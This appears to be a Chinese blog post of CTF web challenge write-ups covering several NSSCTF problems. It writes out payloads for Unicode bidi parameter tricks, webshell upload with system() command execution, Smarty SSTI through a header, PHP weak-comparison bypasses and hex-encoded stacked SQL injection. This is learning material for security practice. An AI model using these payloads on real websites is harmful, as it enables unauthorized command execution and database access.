• NSSCTF做题(4)


    [NISACTF 2022]checkin

    简单的一道代码审计了 但是发现传参传不上去

    后来发现  在选中nisactf的时候,注释里面的内容也被标记了

    不知道是为什么,把它复制到010里边去看看

    发现了不对的地方

    nisactf应该传参

    根据这个进行url编码

    我们选择实际的参名和字符串,并转为url编码格式(每两位前加%) 

    最后构造的payload

    /?ahahahaha=jitanglailo&%E2%80%AE%E2%81%A6%55%67%65%69%77%6F%E2%81%A9%E2%81%A6%63%75%69%73%68%69%79%75%61%6E=%E2%80%AE%E2%81%A6%20%46%6C%61%67%21%E2%81%A9%E2%81%A6%4E%31%53%41%43%54%46

    得到flag

    [LitCTF 2023]作业管理系统  

    查看源代码得到了默认账户

    用admin登录

    登录之后看到了文件上传,还没有限制,直接传码,

    到这里有两种方式,一个是连蚁剑,第二个是命令执行,我用的第二种

     

    开始命令执行·

    zxc=system('ls /');

    zxc=system('cat /flag');  得到flag

    用双引号可以对字符串进行变量替换,比如system(“ls $a“),那$a变量的值会被替换到命令中,用单引号就是完全按照字面意义解析字符串,$a不会进行变量替换而是当作字符串进行解析,命令参数是固定的字符串一般来说用单双引号都行,用单引号更安全,​末尾加分号是php的语法规则

    PHP中单引号和双引号的区别与作用-php教程-PHP中文网

    这里是之前考虑过的问题,有师姐的解释以及我自己找的资料,关于单双引号的区别和作用

    [UUCTF 2022 新生赛]websign 

     

    提示说源代码里面有什么,但是点不开源代码,直接抓包得到了flag

     [HDCTF 2023]Welcome To HDCTF 2023

    在阵亡的时候弹出来了flag

    是js前端的代码,但是我也没仔细找

    [HUBUCTF 2022 新生赛]checkin 

    代码审计+反序列化

     就是构造username和password两个的反序列化 然后用info传参就ok

    我们先构造出我们需要的数组的序列化字符串 

    这里构造的时候要用到array这个关联数组的语法

    传参:?info=

    a:2:{s:8:"username";s:14:"this_is_secret";s:8:"password";s:24:"this_is_not_known_to_you";}

    发现没绕过去,看flag.php那行的注释,说会改变上传的两个值

    if语句中使用双等号判断,可以想到使用弱比较

    字符串在和数字比较的时候会将字符串转化为数字,当字符串开头没有数字时,则转化失败为false

    在构造一下

    传参 得到flag

    [CISCN 2019华东南]Web11 

    随便尝试一下,发现api usage会随着url变,再结合标签 确定是ssti注入

    在看看他是什么模板的注入,这步可以注入来看结果,题里边直接给了是smarty模板

    具体的可以去看我的博客 php中的ssti

    找到注入点

    开始注入我用的是{if}{/if}注入,X-Forwarded-For:{if system('ls /')}{/if}

     {if system('cat /flag')}{/if}  得到flag

     [强网杯 2019]随便注

    sql 注入,先注入看看

    万能密码 回显正常

     

     回显正常

     

    回显出错

     

     注入到这里可以知道参数使用单引号闭合

    开始注入

    这里先给大家介绍一下堆叠注入

    堆叠注入产生原因

    平常我们注入时都是通过对原来sql语句传输数据的地方进行相关修改,注入情况会因为该语句本身的情况而受到相关限制,例如一个select语句,那么我们注入时也只能执行select操作,无法进行增、删、改,其他语句也同理,所以可以说我们能够注入的十分有限。但堆叠注入则完全打破了这种限制,其名字顾名思义,就是可以堆一堆sql注入进行注入,这个时候我们就不受前面语句的限制可以为所欲为了。其原理也很简单,就是将原来的语句构造完后加上分号,代表该语句结束,后面在输入的就是一个全新的sql语句了,这个时候我们使用增删查改毫无限制。

    使用条件:

    堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_ query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

     这道题就可以使用堆叠注入,因为过滤了很多东西,就可以考虑用堆叠注入

    用union select注入,来呢注入查询发现限制

    解题

    开始堆叠注入,发现有回显

    查表

     

    查列

     

     
    注意:这里使用的是反引号而不是双引号,这两个在Linux下不区分,但在Windows下区分。
    单引号或者双引号主要用于字符串的引用符号。
    数据库、表、索引、列和别名的引用符是反勾号。
    有MySQL保留字作为字段的,必须加上反引号来区分,如果是数值,不能使用引号。

    查数据

    正常查数据应该用

    1' ;select flag from `1919810931114514`  但是这道题给select过滤掉了,所以就用16

    进制的来绕过

    1';SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#

    知识点:

    1. prepare…from…是预处理语句,会进行编码转换。
    2. execute用来执行由SQLPrepare创建的SQL语句。
    3. SELECT可以在一条语句里对多个变量同时赋值,而SET只能一次对一个变量赋值。

    得到flag

    当然这题还有其他的解法,比如不用select进行注入,在转换16进制的时候不转换 而是利用word表,将flag信息写进word表里

    BUUCTF[强网杯 2019]随便注 的三种解法-CSDN博客  大佬博客

    [GDOUCTF 2023]hate eat snake

    进入这个界面,发现不能看源码以及js代码,先抓包

    没看到什么有用的信息

    右击页面进行检查,他让坚持一分钟,那直接找一下,把值改掉就得了

    找了半天,发现这个比较像,getscore

    看大佬的wp才知道要用

    Snake.prototype.getScore = () => 61

    来调用函数,js不懂的地方太多了

    在控制器里运行一下,在摁空格启动游戏就出来了flag

     

     

     

     

     

  • 相关阅读:
    【等保常见问题解答】等保测评机构能帮忙做等保整改吗?
    MySQL的备份与恢复
    flink中interval join的flinkSQL实现以及状态的TTL过期时间
    5.前后端不分离项目的部署
    什么蓝牙耳机听歌好?听歌音质好的蓝牙耳机推荐
    Linux驱动之INPUT子系统框架
    UI自动化---Wechat批量表情包轰炸
    G2plot 自定义tooltip的单条数据结构itemTpl
    在真实环境中测试,如何及时停损
    设计模式---建造者模式
  • 原文地址:https://blog.csdn.net/wwwwyyyrre/article/details/133419160